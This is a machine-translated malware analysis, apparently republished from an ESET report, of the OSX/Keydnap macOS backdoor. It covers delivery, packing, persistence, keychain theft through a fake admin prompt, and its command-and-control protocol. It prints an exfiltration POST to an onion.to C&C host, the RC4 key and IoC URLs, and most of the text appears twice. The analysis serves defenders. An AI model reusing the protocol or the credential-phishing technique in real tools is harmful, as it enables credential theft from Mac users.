OSX / Keydnap malware used to steal credentials on Apple OS X
Our analysts analyze a variety of malware for Apple OS X every day. Basically, they relate to the type of unwanted applications (Potentially Unwanted Applications, PUA), which specialize in introducing advertisements into a working web browser.
The last few weeks we have been investigating one interesting instance of malware that specializes in stealing the contents of the so-called. OS X keychains (keychain), and also acts as a backdoor, giving an attacker access to a compromised computer.
')
It’s not at all clear to us how the victims initially infected OSX / Keydnap. Most likely, malicious attachments of phishing e-mail messages or malicious content on illegitimate websites were used for this.
We know that the component of the Keydnap loader is distributed as a .zip file. The archive contains an executable file of Mach-O format, with an extension similar to .txt or .jpg. However, in fact, the file extension contains a space character at the end of the name, which means the file is launched at the terminal execution, after double-clicking it in the Finder shell.
Fig. Archive with a malicious Keydnap file and the malicious file itself.
Fig. Window loader file information.
The mentioned archive file also contains the so-called. Resource fork , which stores the icon of the executable file. The icon used is identical to the one the OS X shell (Finder) typically uses to designate JPEG image files or text files. This method is used to increase the likelihood that the user will double click on the file. Once this happens, OS X will open a terminal window and execute the malicious payload.
Fig. A warning to the Safari web browser that is displayed to the user when the above-mentioned malicious archive file is downloaded.
The Keydnap loader is quite simple, being launched it performs the following actions on the system.
After the loader overwrites the executable file with the bait document, it will still be in the archive. The loader does not provide itself with survival in the system, unlike the backdoor component, which uses the LaunchAgents directory for this purpose.
We found several variants of the loader executable files. A list of his various samples can be found at the end of the material.
It is interesting to note that we observed fresh samples of the loader, which contained bait documents, screenshots of the botnet control panel or numbers of stolen credit card data. This suggests that Keydnap was intended for users of underground forums or for security recerchers. The files of these fresh samples contained the “build name” (build number) field. At the same time, we observed three different names: elitef * ck, ccshop and transmission.
Fig. An example of the image bait.
Fig. An example of the image bait.
Fig. An example of the image bait.
All the backdoor sample files we saw were named icloudsyncd. The backdoor file contains a string with a version that it sends to the C & C server. We observed two of its versions: 1.3.1 in May 2016 and 1.3.5 in June.
The file of the mentioned bootloader is not packaged and distributed as is, but the backdoor is packaged using a modified version of UPX. In this case, the difference from the original UPX is in two features. The “UPX!” Signature in the UPX header is replaced with “ASS7”, and the original code and sections with strings are encrypted with XOR with a value of 0x01. This XOR operation is applied to the contents of the file after it is unpacked and before transferring control to the malicious code.
Fig. Differences packaged version of the file when using the modified UPX and original.
A special patch for UPX is available on the Github repository in the ESET section. After its application, the Keydnap backdoor file can be unpacked by the command of the original UPX packer - upx –d .
After its launch on the system, the backdoor copies the plist file to the / Library / LaunchAgents / directory if the user has root privileges or the $ USER / Library / LaunchAgents / directory otherwise. This ensures the survival of the backdoor after it is rebooted. In this case, the Library / Application Support / com.apple.iCloud.sync.daemon directory is used to store the executable file icloudsyncd. This directory will also store the ID of the launched backdoor process in the process.id file, as well as the build.id file with the contents of the “build name” parameter. Using administrator privileges, the malware can also change the ownership of the icloudsyncd file to root: admin and create the setuid and setgid parameters for it, which will mean its subsequent launch as root.
Fig. Plist file of malware.
To disguise the location of its malicious file, Keydnap replaces the argv [0] parameter with the string / usr / libexec / icloudsyncd –launchd netlogon.bundle . Below is an example of the output of the ps ax command on a compromised system.
$ ps ax
[...]
566 ?? Ss 0: 00.01 / usr / libexec / icloudsyncd -launchd netlogon.bundle
[...]
The result of a command output on an infected system.
OSX / Keydnap backdoor is equipped with the functions of collecting confidential information of passwords and OS X keychain keys (keychains), as well as sending this data to a remote server. In fact, the author simply took for his own purposes an example of PoC, which is available on Github under the name Keychaindump . This code specializes in reading the memory of the securityd process and searches for the decryption key for access to the user's keychain. This process is well described in the following study . One of the reasons why we think that the source code was taken directly from Github is the fact that the names of the functions in the source code and in the code of the malicious program are identical.
Fig. The list of backdoor functions, the green highlighted functions from Keychaindump.
Keydnap uses the onion.to Tor2Web proxy over HTTPS to communicate with the C & C server. We observed the use of two onion addresses in different instances of the backdoor.
The HTTP request URL always starts with / api / osx / and is used to perform the following actions:
The content of the HTTP POST request contains two fields: bot_id and data . The last field is encrypted using the RC4 key "u2RLhh +! LGd9p8! ZtuKcN" without quotes. When sending the keychain content to a remote server, the backdoor uses the keychain field instead of data .
The following is an HTTP POST request, using which the backdoor sends the initial information to the server.
POST / api / osx / started HTTP / 1.1
Host: r2elajikcosf7zee.onion.to
Accept: * / *
Content-Length: 233
Content-Type: application / x-www-form-urlencoded
bot_id = 9a8965ba04e72909f36c8d16aa801794c6d905d045c2b704e8f0a9bbb97d3eb8 & data = psX0DKYB0u ... 5TximyY% 2BQY% 3D
Below are the decoded data received by the backdoor from the C & C server manager.
> rc4decrypt (base64decode ("psX0DKYB0u ... 5TximyY + QY ="), "u2RLhh +! LGd9p8! ZtuKcN")
device_model = MacBookPro9,2
bot_version = 1.3.5
build_name = elitef * ck
os_version = 15.5.0
ip_address = 4.5.6.7
has_root = 0
The bot_id value is the SHA-256 hash of the following values.
Most of the names performed by backdoor operations speak for themselves. The original command is used to send the following information to the managing C & C server.
The response to the bot command get_task contains an integer value that indicates the type of command sent to the bot and optional arguments. The function called get_and_execute_tasks works with ten different types of commands, they are listed in the table below.
The last two commands listed in the table stand out among others. The command with the identifier 8 can be sent to the backdoor on the condition that it is not yet running as root. After receiving this command, the backdoor will begin to count the number of starts by the user of processes in the system. When two new processes are launched in the system within two seconds, Keydnap will show the user a window asking for user credentials. This window is very similar to what the OS X user sees when an application requests administrator rights. If a user enters account information, the backdoor will work as root, and the keychain content will be stolen.
Fig. Backdoor code that counts the number of processes started by the user.
Fig. Fake window asking for administrator credentials.
We do not know how the authd_service executable is processed by command 9, since we did not observe the use of this command by the bot. Perhaps this command is used to organize a third level of attack on targets of interest to intruders.
Conclusion
We do not have enough information to say exactly how Keydnap was distributed. We also do not know how many users have been compromised by this malware. Despite the fact that OS X incorporates special security mechanisms to block malicious activity, phishing methods to trick users can help attackers to trick users with the fake icon of the Mach-O executable file, which will trigger the malware in the system.
Compromise Indicators (IoC)
The following are instances of the Keydnap loader, which are detected by ESET antivirus products like OSX / TrojanDownloader.Keydnap.A.
Hash SHA-1: 07cd177f5baf8c1bdbbae22f1e8f03f22dfdb148
File name: "info_list.txt"
Date of the first publication on VirusTotal: 2016-05-09
Download URL for the backdoor component: hxxp: //dev.aneros.com/media/icloudsyncd
Fake topic or URL: frequently asked questions at the interview
Hash SHA-1: 78ba1152ef3883e63f10c3a85cbf00f2bb305a6a
File name: "screenshot_2016-06-28-01.jpg"
Date of the first publication on VirusTotal: 2016-06-28
Download URL of the backdoor component: hxxp: //freesafesoft.com/icloudsyncd
Fake theme or URL: BlackHat-TDS control panel screenshot
Hash SHA-1: 773a82343367b3d09965f6f09cc9887e7f8f01bf
File name: "screenshot.jpg"
Date of first publication on VirusTotal: 2016-05-07
Download URL for the backdoor component: hxxp: //dev.aneros.com/media/icloudsyncd
Fake theme or URL: Firefox 20 web browser screenshots
Hash SHA-1: dfdb38f1e3ca88cfc8e9a2828599a8ce94eb958c
File name: "CVdetails.doc"
Date of first publication on VirusTotal: 2016-05-03
Download URL of the backdoor component: hxxp: //lovefromscratch.ca/wp-admin/css/icloudsyncd
Fake topic or URL: hxxp: //lovefromscratch.ca/wp-admin/CVdetails.doc
Hash SHA-1: 2739170ed195ff1b9f00c44502a21b5613d08a58
File name: "CVdetails.doc"
Date of first publication on VirusTotal: 2016-05-03
Download URL of the backdoor component: hxxp: //lovefromscratch.ca/wp-admin/css/icloudsyncd
Fake topic or URL: hxxp: //lovefromscratch.ca/wp-admin/CVdetails.doc
Hash SHA-1: e9d4523d9116b3190f2068b1be10229e96f21729
File name: "logo.jpg"
Date of first publication on VirusTotal: 2016-06-02
Download URL for the backdoor component: hxxp: //dev.aneros.com/media/icloudsyncd
Fake theme or URL: sanelite icon
Hash SHA-1: 7472102922f91a78268430510eced1059eef1770
File name: "screenshot_9324 2.jpg"
Date of the first publication on VirusTotal: 2016-06-28
Download URL of the backdoor component: hxxp: //freesafesoft.com/icloudsyncd
Fake theme or URL: botnet control panel screenshot
Below is information about instances of the Keydnap backdoor component.
Hash SHA-1: a4bc56f5ddbe006c9a68422a7132ad782c1aeb7b
ESET detection name: OSX / Keydnap.A
URL of C & C server manager: hxxps: //g5wcesdfjzne7255.onion.to
Backdoor version: 1.3.1
Hash SHA-1: abf99129e0682d2fa40c30a1a1ad9e0c701e14a4
ESET detection name: OSX / Keydnap.A
URL of the C & C server manager: hxxps: //r2elajikcosf7zee.onion.to
Backdoor version: 1.3.5
The last few weeks we have been investigating one interesting instance of malware that specializes in stealing the contents of the so-called. OS X keychains (keychain), and also acts as a backdoor, giving an attacker access to a compromised computer.
')
It’s not at all clear to us how the victims initially infected OSX / Keydnap. Most likely, malicious attachments of phishing e-mail messages or malicious content on illegitimate websites were used for this.
We know that the component of the Keydnap loader is distributed as a .zip file. The archive contains an executable file of Mach-O format, with an extension similar to .txt or .jpg. However, in fact, the file extension contains a space character at the end of the name, which means the file is launched at the terminal execution, after double-clicking it in the Finder shell.
Fig. Archive with a malicious Keydnap file and the malicious file itself.
Fig. Window loader file information.
The mentioned archive file also contains the so-called. Resource fork , which stores the icon of the executable file. The icon used is identical to the one the OS X shell (Finder) typically uses to designate JPEG image files or text files. This method is used to increase the likelihood that the user will double click on the file. Once this happens, OS X will open a terminal window and execute the malicious payload.
Fig. A warning to the Safari web browser that is displayed to the user when the above-mentioned malicious archive file is downloaded.
The Keydnap loader is quite simple, being launched it performs the following actions on the system.
- It loads and executes backdoor components on the system.
- Overwrites the contents of the bootloader file with a special decoy document, or overwrites it with the contents of another file that is encoded using base64. This other file is either built into the bootloader itself or downloaded from the Internet.
- Opens a fake document.
- Closes the terminal window that has been opened.
After the loader overwrites the executable file with the bait document, it will still be in the archive. The loader does not provide itself with survival in the system, unlike the backdoor component, which uses the LaunchAgents directory for this purpose.
We found several variants of the loader executable files. A list of his various samples can be found at the end of the material.
It is interesting to note that we observed fresh samples of the loader, which contained bait documents, screenshots of the botnet control panel or numbers of stolen credit card data. This suggests that Keydnap was intended for users of underground forums or for security recerchers. The files of these fresh samples contained the “build name” (build number) field. At the same time, we observed three different names: elitef * ck, ccshop and transmission.
Fig. An example of the image bait.
Fig. An example of the image bait.
Fig. An example of the image bait.
All the backdoor sample files we saw were named icloudsyncd. The backdoor file contains a string with a version that it sends to the C & C server. We observed two of its versions: 1.3.1 in May 2016 and 1.3.5 in June.
The file of the mentioned bootloader is not packaged and distributed as is, but the backdoor is packaged using a modified version of UPX. In this case, the difference from the original UPX is in two features. The “UPX!” Signature in the UPX header is replaced with “ASS7”, and the original code and sections with strings are encrypted with XOR with a value of 0x01. This XOR operation is applied to the contents of the file after it is unpacked and before transferring control to the malicious code.
Fig. Differences packaged version of the file when using the modified UPX and original.
A special patch for UPX is available on the Github repository in the ESET section. After its application, the Keydnap backdoor file can be unpacked by the command of the original UPX packer - upx –d .
After its launch on the system, the backdoor copies the plist file to the / Library / LaunchAgents / directory if the user has root privileges or the $ USER / Library / LaunchAgents / directory otherwise. This ensures the survival of the backdoor after it is rebooted. In this case, the Library / Application Support / com.apple.iCloud.sync.daemon directory is used to store the executable file icloudsyncd. This directory will also store the ID of the launched backdoor process in the process.id file, as well as the build.id file with the contents of the “build name” parameter. Using administrator privileges, the malware can also change the ownership of the icloudsyncd file to root: admin and create the setuid and setgid parameters for it, which will mean its subsequent launch as root.
Fig. Plist file of malware.
To disguise the location of its malicious file, Keydnap replaces the argv [0] parameter with the string / usr / libexec / icloudsyncd –launchd netlogon.bundle . Below is an example of the output of the ps ax command on a compromised system.
$ ps ax
[...]
566 ?? Ss 0: 00.01 / usr / libexec / icloudsyncd -launchd netlogon.bundle
[...]
The result of a command output on an infected system.
OSX / Keydnap backdoor is equipped with the functions of collecting confidential information of passwords and OS X keychain keys (keychains), as well as sending this data to a remote server. In fact, the author simply took for his own purposes an example of PoC, which is available on Github under the name Keychaindump . This code specializes in reading the memory of the securityd process and searches for the decryption key for access to the user's keychain. This process is well described in the following study . One of the reasons why we think that the source code was taken directly from Github is the fact that the names of the functions in the source code and in the code of the malicious program are identical.
Fig. The list of backdoor functions, the green highlighted functions from Keychaindump.
Keydnap uses the onion.to Tor2Web proxy over HTTPS to communicate with the C & C server. We observed the use of two onion addresses in different instances of the backdoor.
- g5wcesdfjzne7255.onion (not available)
- r2elajikcosf7zee.onion (available at the time of writing)
The HTTP request URL always starts with / api / osx / and is used to perform the following actions:
- / api / osx / started to send a report on the successful launch of the bot;
- / api / osx / keychain to send keychain content data;
- / api / osx / get_task? bot_id = {botid} & version = {version} for task request;
- / api / osx / cmd_executed to send a report on the command that was executed;
- / api / osx / task_complete? bot_id = {botid} & task_id = {taskid} to send the task completion status.
The content of the HTTP POST request contains two fields: bot_id and data . The last field is encrypted using the RC4 key "u2RLhh +! LGd9p8! ZtuKcN" without quotes. When sending the keychain content to a remote server, the backdoor uses the keychain field instead of data .
The following is an HTTP POST request, using which the backdoor sends the initial information to the server.
POST / api / osx / started HTTP / 1.1
Host: r2elajikcosf7zee.onion.to
Accept: * / *
Content-Length: 233
Content-Type: application / x-www-form-urlencoded
bot_id = 9a8965ba04e72909f36c8d16aa801794c6d905d045c2b704e8f0a9bbb97d3eb8 & data = psX0DKYB0u ... 5TximyY% 2BQY% 3D
Below are the decoded data received by the backdoor from the C & C server manager.
> rc4decrypt (base64decode ("psX0DKYB0u ... 5TximyY + QY ="), "u2RLhh +! LGd9p8! ZtuKcN")
device_model = MacBookPro9,2
bot_version = 1.3.5
build_name = elitef * ck
os_version = 15.5.0
ip_address = 4.5.6.7
has_root = 0
The bot_id value is the SHA-256 hash of the following values.
- Hardware UUID (IOPlatformUUID).
- The serial number of the system (IOPlatformSerialNumber).
- Mac Model ID (ex. MacBookPro9,2)
Most of the names performed by backdoor operations speak for themselves. The original command is used to send the following information to the managing C & C server.
- device_model: device model identifier;
- bot_version: Keydnap version;
- build_name: the value of the “build number” field (build number) of the loader;
- os_version: OS X kernel version or macOS;
- ip_address: external IP address of the computer that was obtained using ipify.org;
- has_root: the field is set to 1 if the backdoor is running as root and 0 otherwise.
The response to the bot command get_task contains an integer value that indicates the type of command sent to the bot and optional arguments. The function called get_and_execute_tasks works with ten different types of commands, they are listed in the table below.
The last two commands listed in the table stand out among others. The command with the identifier 8 can be sent to the backdoor on the condition that it is not yet running as root. After receiving this command, the backdoor will begin to count the number of starts by the user of processes in the system. When two new processes are launched in the system within two seconds, Keydnap will show the user a window asking for user credentials. This window is very similar to what the OS X user sees when an application requests administrator rights. If a user enters account information, the backdoor will work as root, and the keychain content will be stolen.
Fig. Backdoor code that counts the number of processes started by the user.
Fig. Fake window asking for administrator credentials.
We do not know how the authd_service executable is processed by command 9, since we did not observe the use of this command by the bot. Perhaps this command is used to organize a third level of attack on targets of interest to intruders.
Conclusion
We do not have enough information to say exactly how Keydnap was distributed. We also do not know how many users have been compromised by this malware. Despite the fact that OS X incorporates special security mechanisms to block malicious activity, phishing methods to trick users can help attackers to trick users with the fake icon of the Mach-O executable file, which will trigger the malware in the system.
Compromise Indicators (IoC)
The following are instances of the Keydnap loader, which are detected by ESET antivirus products like OSX / TrojanDownloader.Keydnap.A.
Hash SHA-1: 07cd177f5baf8c1bdbbae22f1e8f03f22dfdb148
File name: "info_list.txt"
Date of the first publication on VirusTotal: 2016-05-09
Download URL for the backdoor component: hxxp: //dev.aneros.com/media/icloudsyncd
Fake topic or URL: frequently asked questions at the interview
Hash SHA-1: 78ba1152ef3883e63f10c3a85cbf00f2bb305a6a
File name: "screenshot_2016-06-28-01.jpg"
Date of the first publication on VirusTotal: 2016-06-28
Download URL of the backdoor component: hxxp: //freesafesoft.com/icloudsyncd
Fake theme or URL: BlackHat-TDS control panel screenshot
Hash SHA-1: 773a82343367b3d09965f6f09cc9887e7f8f01bf
File name: "screenshot.jpg"
Date of first publication on VirusTotal: 2016-05-07
Download URL for the backdoor component: hxxp: //dev.aneros.com/media/icloudsyncd
Fake theme or URL: Firefox 20 web browser screenshots
Hash SHA-1: dfdb38f1e3ca88cfc8e9a2828599a8ce94eb958c
File name: "CVdetails.doc"
Date of first publication on VirusTotal: 2016-05-03
Download URL of the backdoor component: hxxp: //lovefromscratch.ca/wp-admin/css/icloudsyncd
Fake topic or URL: hxxp: //lovefromscratch.ca/wp-admin/CVdetails.doc
Hash SHA-1: 2739170ed195ff1b9f00c44502a21b5613d08a58
File name: "CVdetails.doc"
Date of first publication on VirusTotal: 2016-05-03
Download URL of the backdoor component: hxxp: //lovefromscratch.ca/wp-admin/css/icloudsyncd
Fake topic or URL: hxxp: //lovefromscratch.ca/wp-admin/CVdetails.doc
Hash SHA-1: e9d4523d9116b3190f2068b1be10229e96f21729
File name: "logo.jpg"
Date of first publication on VirusTotal: 2016-06-02
Download URL for the backdoor component: hxxp: //dev.aneros.com/media/icloudsyncd
Fake theme or URL: sanelite icon
Hash SHA-1: 7472102922f91a78268430510eced1059eef1770
File name: "screenshot_9324 2.jpg"
Date of the first publication on VirusTotal: 2016-06-28
Download URL of the backdoor component: hxxp: //freesafesoft.com/icloudsyncd
Fake theme or URL: botnet control panel screenshot
Below is information about instances of the Keydnap backdoor component.
Hash SHA-1: a4bc56f5ddbe006c9a68422a7132ad782c1aeb7b
ESET detection name: OSX / Keydnap.A
URL of C & C server manager: hxxps: //g5wcesdfjzne7255.onion.to
Backdoor version: 1.3.1
Hash SHA-1: abf99129e0682d2fa40c30a1a1ad9e0c701e14a4
ESET detection name: OSX / Keydnap.A
URL of the C & C server manager: hxxps: //r2elajikcosf7zee.onion.to
Backdoor version: 1.3.5
Source: https://habr.com/ru/post/305608/
All Articles